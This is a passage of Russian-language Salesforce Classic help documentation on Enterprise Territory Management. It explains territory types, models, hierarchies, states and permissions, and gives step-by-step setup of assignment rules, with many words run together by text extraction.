Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Типы территории позволяют систематизировать территории по ключевым
характеристикам, важным для компании. Каждая созданная территория должна иметь
типтерритории. Типытерриториииспользуютсятолькодля систематизацииисоздания
территорий: они не отображаются иерархиями моделей территории.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Например, пользовательможет создать типтерриториипоимени «Названные организации
Компании» ииспользоватьданныйтипдлясозданиятерриторий, содержащихназванные
организации. Или пользователь может создать тип территории по имени «География
России» и использовать данный тип для создания территорий на основе областей или
регионов.

Присозданиитипатерриторииубедитесь, чтометкаиописаниеточноопределяюттерритории, принадлежащиеданному
типу.
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Приоритет типа территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сведения о приоритете типа территории позволяют выбирать соответствующий тип
территории для создаваемых или редактируемых территорий. Ввиду отсутствия
предопределенныхприоритетов, рекомендуемсоздать собственнуюсхемуприоритетов.
Например, приоритет «001» может указывает на самый высокий или самый низкий
приоритет типа территории. Убедитесь, что схема поддерживает возможность
масштабирования по мере добавления других типов территорий.

Присозданиитерриториивыберитетиптерриторииизполяпоиска «Тип территории».
Поле поиска позволяет просматривать назначенный приоритет типа территории.

Пример: Организация использует приоритет типа территории для отображения
годовойстратегиипродаж. Организацияожидаетбольшевозможностейотрегиона
«Восток», чем от региона «Запад», поэтому назначает приоритет «001» типу
территории «Восток», а приоритет «005» типу территории «Запад». Данные
назначенияпозволяютвыбиратьправильныйтиптерриторииприсозданиизаписей
территорий. Обнаруживнепредвиденныйростколичествавозможностейврегионе
«Север» поистеченииполугода, организацияможетсоздатьтиптерритории «Север»
иназначитьемуприоритет «003» дляотображенияизмененийвстратегиипродаж.

Территория

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Территории позволяют группировать организации и пользователей Salesforce,
работающих с данными организациями. Территории создаются на основе типов
территории.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Запись территории содержит назначенных пользователей, назначенные вручную
организации и правила автоматического назначения организаций. Территория может
иметь родительскую территорию и дочерние территории. В зависимости от заданных
параметров назначения, организация может быть назначена нескольким территориям.

Модель территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Модель территориисоответствуетполнойсистеме управлениятерриториями, заданной
дляорганизации. Моделированиеподдерживает созданиеипредварительныйпросмотр
разных структур территорий, а также различных назначений организаций и
пользователей, перед активацией наиболее оптимальной модели.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Каждоймоделитерриториисоответствует графическаяиерархия. Иерархияотображает
структуру территорий модели (включая родительские и дочерние территории) и
позволяет создавать, редактировать и удалять территории, а также просматривать
соответствующие страницы сведений. Одновременно организация может создавать и
изменять не более четырех разных моделей, но активировать только одну модель.
Активация модели инициирует применение заданных назначений.
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Иерархия территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Иерархия территорийотображает структуру территориймоделииявляется ееосновной
точкой взаимодействия. Иерархия позволяет создавать, редактировать и удалять
территории, выполнятьправиланазначениядля территорийипросматривать страницы
сведений о территориях. Кроме того, иерархия позволяет назначать территории
возможностям, выполнять правила назначения на уровне модели и активировать или
архивировать модель.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Имя и состояние модели территории отображаются в верхнем узле иерархии (1). Родительские и дочерние территории
располагаются под именем модели (2). Создайте или отредактируйте дочерние территории, либо выполните
соответствующиеправила назначения (3). Выполнитефильтр, назначающий территории возможностям (4). Выполните
правила назначения для всех территорий модели (5). Наведите указатель мыши для просмотра времени последнего
выполнения правил (6). Назначьте модели состояние «Активно» или «Архивировано»  (7). Выберите отсортированное
списковое представление или древовидное представление (8).
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Состояние модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Состояниемодели территорииопределяет текущийстатус территории. Одновременно
организация может использовать только одну модель территории в состоянии
«Активно», нопользователимогут создаватьиподдерживатьразныемоделивсостоянии
«Планирование» или «Архивировано».

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Однисостояния соответствуютжизненномуциклумоделитерритории, тогда как другие
состояния обозначают ошибки обработки, возникающие при изменении состояний.

ОпределениеСостояние жизненного цикла

Стандартное состояние, назначаемое
каждой новой модели территории.

Планирование

Состояние «Планирование» поддерживает
предварительный просмотр иерархии
территорий модели перед ее
развертыванием. Пользователям не
предоставляется доступ, связанный с
территориями, к организациям, которые
принадлежат моделям в состоянии
«Планирование».

Состояние модели территории после ее
активации и полного завершения

Активно

обработки. Одновременно организация
Salesforce может использовать только одну
активную модель.

Состояние «Активно» поддерживает
просмотр сведений о модели, включая
иерархии и территории, а также все
назначенные организации и всех
назначенных пользователей.
Пользователи, назначенные территориям
внутри активной модели, могут
просматривать и изменять организации,
назначенные им внутри данной модели.

Состояние модели территории после ее
архивирования и полного завершения

Архивировано

обработки. Архивнаямодельнепозволяет
пользователям просматривать
организации, но позволяет
администраторам просматривать
иерархию и назначения, заданные при
активном состоянии модели.
Архивированиюподлежаттолькоактивные
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ОпределениеСостояние жизненного цикла

модели; архивные модели не могут быть активированы
повторно.

При архивировании модели территории или удалении
территории для активной модели поле «Территория»
обновляетсяпустымзначениемдля записейвозможностей,
содержащих данные назначенные территории.

ОпределениеСостояние ошибки

Ошибка, возникшая во время активации. Проверьте эл.
почтунаналичиедополнительнойинформацииотсистемы
Salesforce.

Ошибка активации

Ошибка, возникшая во время активации. Проверьте эл.
почтунаналичиедополнительнойинформацииотсистемы
Salesforce.

Ошибка архивирования

Как полномочия влияют на доступ кфункциям и даннымпри использованиифункции
управления территориями предприятия?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При внедрениифункции управления территориями предприятия просмотрите
последствияназначенияполномочийдляадминистрированияипредоставлениядоступа
к записям и данным.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Убедитесь, что полномочия предоставляют пользователям соответствующий уровень
доступа. Например, чтобы предоставить сотрудникам отдела продаж и выбранным
менеджерам по продажам возможность управления территориями, назначьте им
полномочие «Управление территориями». Кроме того, сотрудникам, которым должно
бытьдоступносозданиеправилназначенияорганизаций, такжедолжнобытьназначено
полномочие «Просмотреть все» для организаций.

Необходимые полномочия, роли или ответственность:Задача

«Управление территориями»• Создание моделей территории и всех связанных
записей (например, типы территории)

• Просмотри управлениемоделями территорииво всех
состояниях: «Планирование», «Активно» и
«Архивировано»

• Активация, архивирование, удалениеиликлонирование
моделей территории

• Просмотр сведений о территории в записях
организаций, назначенных территории, для
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Необходимые полномочия, роли или ответственность:Задача

территорий, принадлежащих моделям во всех
состояниях («Планирование», «Активно» и
«Архивировано»)

«Управление территориями» И «Просмотреть все» для
организаций

• Создание или редактирование правил назначения
организации

Прим.: Поля, доступные правилам назначения
организаций, определяются соответствующими
параметрами безопасности (при их наличии).
Например, пользователь, имеющийсоответствующие
полномочия для создания правил назначения
организаций, но использующий профиль, который
запрещает просматривать поле «Годовой доход»
объекта «Организация», не может создавать правила
назначения организаций, содержащие данное поле.

«Просмотр настройки и конфигурации»• Просмотр меню «Настройка» системы Salesforce,
включая параметры территорий Прим.: Профиль «Стандартный пользователь»

поддерживает полномочие «Просмотр настройки и
конфигурации» по умолчанию.

• Просмотрмоделитерриториивсостоянии «Активно»,
включаясвязанныезаписи (например, типытерритории
и правила назначения) и другие элементы (например,
иерархия территорий)

• Просмотр имен всех записей организаций,
назначенных территориям в модели территории
«Активно»

• Просмотр сведений о территории в записях
организаций, назначенных территории, для
территорий, принадлежащих моделям только в
состоянии «Активно»

«Управление территориями»Просмотр данных для моделей в состояниях
«Планирование» и «Архивировано» в отчетах,
содержащихтерритории, назначенныезаписиилиправила

Общий доступ для организации возможности.
Пользователи, имеющие общий доступ к организации,

Назначение территорий вручную возможностям

могут назначать возможности любую активную
территорию. В противном случае, пользователи могут
назначать только территорию, назначенную организации
возможности.

Прим.: При назначении территории вручную
система Salesforce отображает возможности,
назначенные организации территории, но только
пользователи, имеющие общий доступ, могут
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Необходимые полномочия, роли или ответственность:Задача

находитьиназначатьлюбуютерриториювактивной
модели территории.

Назначение территории инициирует предоставление
общего доступа к возможности всем пользователям
Salesforce, назначенным родительской территории в
иерархии моделей территории.

Управление территориями продаж организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
территориями:
• «Управление

территориями»

Системапозволяетиспользоватьфункциюуправлениятерриториямипредприятиядля
управленияиподдержкитерриторийпродажорганизации. Создайте типытерритории,
разработайтемодель, а затемдобавьтеипротестируйтеправиланазначенияорганизаций.
Активируйтеготовуюмодель, а затемназначьтепользователейиорганизации. Разверните
модельивыполнитеотчетыдляоценкиее влиянияивнесениянеобходимыхизменений.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Прежде чем начать создание модели территории, составьте план действий. Выберите
организационные характеристики (например, отрасль, годовой доход или
местоположение) для разделения организаций по логическим сегментам, которые
соответствуют направлениям деятельности компании.

Включение функции управления территориями предприятия
Функция управления территориями предприятия может быть включена
администратораминовыхорганизаций Salesforce, созданныхпосле выпуска Winter'15.
Организации, созданные до выпуска Winter'15, должны обратиться в компанию
salesforce.com. Функция управления территориями предприятия не может быть
включена текущими организациями, использующимифункцию настраиваемого
прогнозирования.

Определение параметров управления территориями предприятия
Рекомендуем определить и настроить параметры для функции управления территориями предприятия.

Использование Chatter для совместной работы над моделями территорий
Рекомендуем включить функцию отслеживания ленты Chatter для объекта «Модель территории» для совместной
работы над процессом создания модели прямо в записях моделей. Рабочая группа может публиковать сообщения,
отвечатьнакомментарии, добавлятьфайлыиполучать уведомленияобизменениисостояниймоделиилиобновлении
ключевых полей.

Создание модели территории
Модельтерриториисистематизируетвсе элементыпланауправлениятерриториями, включаяиерархиютерриторий,
назначения организаций и назначения пользователей. Система позволяет сохранять модель в состоянии
«Планирование» на время создания иерархии, определять правила назначения для территорий, добавлять
пользователей в территории и выполнять правила для просмотра итоговых назначений организаций.
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Назначение территорий вручную организации
Записьорганизациипозволяетнапрямуюназначать территориисоответствующейорганизации. Организацияммогут
назначаться только территории, которые принадлежат моделям в состоянии «Планирование» или «Активно».

Назначение правил назначения вручную территории
Запись территории позволяет напрямую назначать правила назначения объекта соответствующей территории.
Доступные правила извлекаются из модели территории, которой принадлежит выбранная территория.

Назначение территорий вручную возможностям
Запись возможности позволяет назначать и отслеживать территорию, чьи назначенные торговые представители
работаютнадданнойвозможностью. Назначениетерриториивручнуюконтролируетсяобщимдоступомпользователя
к назначенной (родительской) организации возможности. Назначение территории инициирует предоставление
общего доступа к возможности всем пользователям Salesforce, назначенным родительской территории в иерархии
моделей территории.

Выполнение фильтра назначения территории возможности
Фильтрназначения территориивозможности автоматическиназначает территориивозможностямнаоснове логики
фильтра в классе Apex.

Клонирование модели территории
Клонирование позволяет пользователям создавать копию модели территории, которая может использоваться для
тестирования разных характеристик территории. Новая модель содержит территории, правила назначения,
пользователей и назначенные вручнуюорганизации, поддерживаемые исходноймоделью. Клонирование доступно
только моделям в состоянии «Планирование», «Активно» или «Архивировано». По завершении клонирования
новой модели назначается состояние «Планирование».

Назначение пользователей территориям
Системапозволяетназначатьпользователей территориям, где должныпродаватьсяпродуктыи услуги. Пользователи
могут назначаться территориям, которые принадлежат моделям в состоянии «Активно» или «Планирование»;
назначения, выполненные в состоянии «Планирование», используются только для планирования: они не влияют на
доступ пользователей к записям.

Идентификация пользователей территории по роли территории
Система позволяет отслеживать функции пользователей внутри территорий путем создания и назначения ролей
территории пользователям территории. Пользователям могут назначаться разные роли в разных территориях.

Активация модели территории
Прежде чем активировать модель территории, рекомендуем проверить ее структуру и назначения организации.
Помните, чтосистемапозволяет сохранять состояния «Планирование» и «Архивировано» длядальнейшегосоздания
и использования модели.

Настройка полномочий и доступа функции управления территориями предприятия для администраторов и
пользователей
Важным этапом внедрения функции управления территориями предприятия является предоставление нужным
пользователям соответствующего уровня доступа.

Выполнение правил назначения для территории
Система позволяет выполнять правила назначения организации для любой территории, использующей правила и
принадлежащей модели территории в состоянии «Планирование» или «Активно». Если территория находится в
состоянии «Планирование», товыполняемыеправилаподдерживаютпредварительныйпросмотрназначенийорганизаций.
Еслитерриториянаходится в состоянии «Активно», то выполняемыеправиланазначаюторганизациитерриториям.
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Определение территорий, к которым применяется правило назначения
При использовании правил для назначения организаций территориям рекомендуем определить территории, к
которым применяется отдельное правило.

СМ. ТАКЖЕ:

Понятия функции управления территориями предприятия

Управление территориями предприятия

Включение функции управления территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
управления территориями
предприятия:
• «Настройка

приложения»

Функция управления территориями предприятия может быть включена
администраторами новых организаций Salesforce, созданных после выпуска Winter'15.
Организации, созданные до выпуска Winter'15, должны обратиться в компанию
salesforce.com. Функцияуправлениятерриториямипредприятиянеможетбыть включена
текущимиорганизациями, использующимифункциюнастраиваемогопрогнозирования.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.Функция управления территориями предприятия и функция
«Совместные прогнозы» могут быть одновременно включены и использоваться в
организации Salesforce, но в настоящее время не интегрированы для совместной
работы.

1. Введите строку «Территории» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Нажмитекнопку«Включитьфункциюуправлениятерриториямипредприятия».
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Определение параметров управления территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
управления территориями
предприятия:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Рекомендуемопределитьинастроитьпараметрыдляфункцииуправлениятерриториями
предприятия.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Определение стандартного доступа пользователя для записей территории
Системапозволяет задавать стандартныепараметрыдлядоступаиизменения записей,
связанных с настроенными территориями продаж. Доступ, предоставленный
стандартнымипараметрами, можетбытьизмененприсозданииилиредактировании
отдельной территории.

Включение назначения территории возможности на основе фильтра
Рекомендуемвключитьинастроитьназначениетерриторийвозможностямнаоснове
фильтра.

Определение стандартного доступа пользователя для записей территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания модели
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Система позволяет задавать стандартные параметры для доступа и изменения записей,
связанных с настроенными территориями продаж. Доступ, предоставленный
стандартными параметрами, может быть изменен при создании или редактировании
отдельной территории.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Стандартныепараметрыдоступаприменяютсякорганизациямивозможностям. Доступ
к контактам или обращениям может быть настроен, при условии, что стандартному
внутреннему доступу организации задано значение «Личный».

1. Введите строку «Территории» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Выберите стандартные уровни доступа для организаций и возможностей.

3. При необходимости выберите стандартные уровни доступа для контактов и
обращений.
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4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Единые стандартные параметры общего доступа

Настройка единых стандартных параметров общего доступа

Включение назначения территории возможности на основе фильтра

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
управления территориями
предприятия:
• «Настройка

приложения»

Рекомендуем включить и настроить назначение территорий возможностям на основе
фильтра.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Введите строку «Территории» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Включите назначение территории возможности на основе фильтра.

3. Если организация использует код Apex, предоставленный компанией Salesforce,
сначала создайте класс, а затемвернитесьнаданнуюстраницу «Параметры» ивведите
имя класса: OppTerrAssignDefaultLogicFilter. При согласии на
использованиесобственногокодадлякласса Apex вернитесьивведитеимясозданного
класса.

4. Чтобывыполнитьзаданиеназначениятерриториивозможностинаосновефильтра
при создании возможностей, установите соответствующийфлажок.

5. Сохраните параметры.
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Использование Chatter для совместной работы над моделями территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
отслеживания ленты
Chatter:
• «Настройка

приложения»

Для публикации сообщения
Chatter для записи модели
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Рекомендуем включить функцию отслеживания ленты Chatter для объекта «Модель
территории» для совместной работы над процессом создания модели прямо в записях
моделей. Рабочая группа может публиковать сообщения, отвечать на комментарии,
добавлять файлы и получать уведомления об изменении состояний модели или
обновлении ключевых полей.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

После включенияинастройкифункцииотслеживанияленты Chatter совместнаяработа
над моделью посредством Chatter будет доступна любому пользователю, имеющему
доступ к записи модели территории. Обновление отслеживаемых полей будет
инициироватьотображениесоответствующихобновленийвсобственныхлентах Chatter
пользователей, отслеживающих данную запись.

1. Убедитесь, что организация поддерживает Chatter.

2. Введитестроку «Отслеживание ленты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Отслеживание ленты».

3. Выберите объект «Модель территории». Включите функцию отслеживания ленты
и выберите нужные поля модели территории.

4. Нажмите кнопку «Сохранить».
Данноедействиеинициируетотображениеленты Chatter вверхустраниц, содержащих
записи моделей территории организации.

5. Сообщите другим пользователям, обслуживающим модели территории, о
возможности использования Chatter для отслеживания и совместной работы над
моделями территории прямо в записях моделей.

СМ. ТАКЖЕ:

Настройка функции отслеживания лент Chatter

Chatter

2027

Управление территориями продаж организацииНастройка и обслуживание инструментов продаж



Создание модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания модели
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Модель территории систематизирует все элементы плана управления территориями,
включая иерархию территорий, назначения организаций и назначения пользователей.
Система позволяет сохранять модель в состоянии «Планирование» на время создания
иерархии, определять правила назначения для территорий, добавлять пользователей в
территории и выполнять правила для просмотра итоговых назначений организаций.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.Функция управления территориями предприятия и функция
«Совместные прогнозы» могут быть одновременно включены и использоваться в
организации Salesforce, но в настоящее время не интегрированы для совместной
работы.

1. Создание типов территории
Типы территории позволяют пользователям систематизировать и определять
отдельныетерритории. Созданиетиповтерриторииявляетсяпервымэтапомсоздания
модели территории в системе Salesforce.

2. Создание записи модели территории
Первымэтапомсозданиямоделитерриторииявляетсясозданиезаписи, связывающей
другие элементы, включая территории, назначения пользователей и назначения
организаций. Присозданиизаписимоделитерриториисистема Salesforce генерирует
соответствующую иерархию территорий.

3. Создание территорий
Система позволяет создавать территориипомере созданиямодели территорииорганизации. Созданная территория
отображается в иерархии территорий модели.

4. Создание и предварительный просмотр назначений организаций
Система позволяет назначать организации территориям путем создания правил автоматического назначения или
добавления организаций вручную. Настройки позволяют применять правила к родительским территориям и их
потомкам. Назначения вручную применяются только к территории, которая использовалась для их создания.
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Создание типов территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания типа
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Типытерриториипозволяютпользователямсистематизироватьиопределятьотдельные
территории. Создание типов территории является первым этапом создания модели
территории в системе Salesforce.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Например, пользователи могут создать следующие типы территории: «Названные
организации», «Прямые организации» и «Перекрывающие продажи».

1. Введите «Типы территории» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Типы территории».

2. Нажмите кнопку «Создать тип территории».

3. Введите метку и описание. Убедитесь, что описание точно определяет территории,
которые должны принадлежать данному типу.

4. Укажите приоритет типа территории.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Приоритет типа территории

Создание записи модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания записимодели
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Первым этапом создания модели территории является создание записи, связывающей
другие элементы, включая территории, назначения пользователей и назначения
организаций. При создании записи модели территории система Salesforce генерирует
соответствующую иерархию территорий.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Версия Salesforce, используемая организацией, определяет количество моделей
территории, доступное для создания в производственных и безопасных организациях.
Данное ограничение охватывает модели, созданные путем клонирования.

Количество моделей в
безопасных
организациях

Количество моделей в
производственных
организациях

Версия

44Developer Edition

22Enterprise Edition

44Performance Edition

44Unlimited Edition
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1. В настройке введите «Модели территории» в поле «Быстрый поиск» в меню «Настройка», затем выберите «Модели
территории».

2. Нажмите кнопку «Создать модель территории».

3. Заполните поля метки и описания.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Ограничения для функции управления территориями предприятия

Создание территорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания территорий:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Система позволяет создавать территории по мере создания модели территории
организации. Созданная территория отображается в иерархии территорий модели.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

По умолчаниюкаждая модель территорииможет содержать не более 1 000 территорий.

1. Откройте нужную модель территории.

2. Чтобыпросмотретьиерархиютерриториймодели, включаявсетекущиетерритории,
выберите значение «Древовидное представление» из раскрывающегося списка.

3. Чтобысоздатьтерриториюверхнегоуровня, наведитеуказательмышинаимянужной
моделитерриторииищелкните«Создатьтерриторию». Чтобысоздатьдочернюю
территориюнаосноветекущейтерритории, наведитеуказательмышинаимянужной
территории ищелкните «Создать территорию».

4. Заполните поля на странице «Создать территорию»: введите метку и выберите тип
территории. Чтобы задать территории доступ для организаций и возможностей,
отличающийся от стандартного доступа пользователя, определите уровни доступа для
территории.

5. Нажмите кнопку «Сохранить».

Создание и предварительный просмотр назначений организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет назначать организации территориям путем создания правил
автоматического назначения или добавления организаций вручную. Настройки
позволяютприменятьправилакродительскимтерриториямиихпотомкам. Назначения
вручную применяются только к территории, которая использовалась для их создания.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Прежде чем использовать назначения организаций, рекомендуем выполнить их
предварительный просмотр посредством правил назначения и связанных отчетов при
нахождении модели в состоянии «Планирование». Назначьте модели состояние
«Активно». Затем повторите выполнение правил назначения для добавления
организаций, созданных или обновленных во время процесса активации.
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Использование правил для назначения организаций территориям
Система позволяет создавать и выполнять правила, которые автоматически назначают новые или измененные
организации территориям. Правило идентифицирует как минимум одну характеристику, используемую при
определении территории, и инициирует автоматическое назначение соответствующих организаций данной
территории. Если территория находится в состоянии «Планирование», то выполняемые правила поддерживают
предварительныйпросмотрназначенийорганизаций. Еслитерриториянаходитсявсостоянии «Активно», товыполняемые
правила назначают организации территориям.

Назначение организаций вручную территории
Организации, которые не удалось назначить территориям посредством правил, могут быть назначены территориям
вручную (неболееоднойтерриториизараз). Назначениевручнуюприменяетсякорганизациям, имеющимуникальные
характеристики, которые препятствуют автоматическому назначению.

Предварительный просмотр назначений организаций
Прежде чем активировать модель территории, рекомендуем просмотреть и проверить заданные назначения. Чтобы
выполнитьпредварительныйпросмотрназначений, воспользуйтесьправиламиназначенияпринахождениимодели
в состоянии «Планирование». При необходимости проверьте назначения, выполненные вручную.

Определение пользователей в территориях, назначенных организации
Организации и пользователи назначаются территориям независимо друг от друга, но назначение организации
инициирует предоставление пользователям данной территории доступа к организации. Данные пользователимогут
быть легко определены посредством записи организации.

Использование правил для назначения организаций территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил внутри
территорий:
• «Настройка

приложения»

«Управление
территориями»

Система позволяет создавать и выполнять правила, которые автоматически назначают
новые или измененные организации территориям. Правило идентифицирует как
минимум одну характеристику, используемую при определении территории, и
инициирует автоматическое назначение соответствующих организаций данной
территории. Еслитерриториянаходится в состоянии «Планирование», товыполняемые
правила поддерживают предварительный просмотр назначений организаций. Если
территория находится в состоянии «Активно», то выполняемые правила назначают
организации территориям.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Совет: Не рекомендуем назначать правило территории, если данное правило
является потомком другого правила, которое уже назначено территории. Чтобы
определить правила, применяемые к территории, откройте страницу сведений о
записи территории и просмотрите связанный список «Правила назначения,
назначенныеданнойтерритории». Приналичиифлажка «Применить к дочерним
территориям» нерекомендуемназначатьправилоотдельнодочернимтерриториям.

1. Откройте нужную территорию из иерархии моделей территории.

2. Нажмите кнопку «Создать» в связанном списке «Правила назначения, заданные в
данной территории» страницы сведений.

3. Введите имя нового правила и определите критерии выбора на странице
редактирования правила.

4. Чтобы применить правило к потомкам текущей территории, установите флажок «Применить к дочерним
территориям».
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5. Чтобывыполнятьправилоавтоматическиприкаждомсозданииилиредактированииорганизации, установитефлажок
«Активно».

6. Чтобы сохранить правило и открыть страницу сведений о территории, нажмите кнопку «Сохранить».

7. При необходимости нажмите кнопку «Выполнить правила» в связанном списке «Правила назначения, заданные в
данной территории».
Уведомление о завершении данного процесса будет отправлено по эл. почте.

Пример: Правила могут одновременно поддерживаться территориями и их потоками. Например, пользователь
создает территорию «Западныеобласти», содержащуюдочерниетерритории «Ленинградскаяобласть», «Московская
область» и «Владимирскаяобласть». Затемпользовательоткрывает запись территории «Западныеобласти» исоздает
правило, назначающее организации дочерних территорий родительской территории. Пользователь применяет
данное правило к дочерним территориям, а затем открывает запись территории «Владимирская область» и создает
правило, назначающее организации на севере Владимирской области территории «Московская область».

СМ. ТАКЖЕ:

Активация правил назначения и их применение к дочерним территориям

Назначение организаций вручную территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
организаций вручную
внутри территорий:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Организации, которые не удалось назначить территориям посредством правил, могут
бытьназначенытерриториямвручную (неболее одной территории за раз). Назначение
вручнуюприменяется к организациям, имеющимуникальныехарактеристики, которые
препятствуют автоматическому назначению.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Откройте нужную территорию из иерархии моделей территории.

2. Чтобыпросмотретьсписокорганизаций, нажмитекнопку«Добавитьорганизации»
в связанном списке «Организации, назначенные вручную» страницы сведений о
территории. При необходимости настройте списковое представление.

3. Установите флажок напротив каждой нужной организации в связанном списке
«Доступно». Чтобы просмотреть дополнительные записи, щелкните ссылку
«Больше» ниже списка.
Каждая выбранная организация отображается в связанном списке «Выбрано».

4. Нажмите кнопку «Назначить».
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Предварительный просмотр назначений организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предварительного
просмотра назначений
организаций:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Прежде чем активировать модель территории, рекомендуем просмотреть и проверить
заданные назначения. Чтобы выполнить предварительный просмотр назначений,
воспользуйтесь правилами назначения при нахождении модели в состоянии
«Планирование». При необходимости проверьте назначения, выполненные вручную.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Важное замечание: Во избежание искажения данных, территория может быть
изменена только после получения сообщения эл. почты, подтверждающего
успешное выполнение правил. При неудачном выполнении правил выполните
указанные инструкции.

1. Откройте запись для нужной модели территории и нажмите кнопку «Просмотр
иерархии».

2. Убедитесь, что модель находится в состоянии «Планирование».

3. Нажмите кнопку «Выполнить все правила».
Уведомление о выполнении правил будет отправлено пользователю по эл. почте.
В зависимости от размера и сложности организации, обработка может занять
некоторое время.

4. Откройтекаждуюизмененнуюродительскуюидочернюютерриториюизиерархии
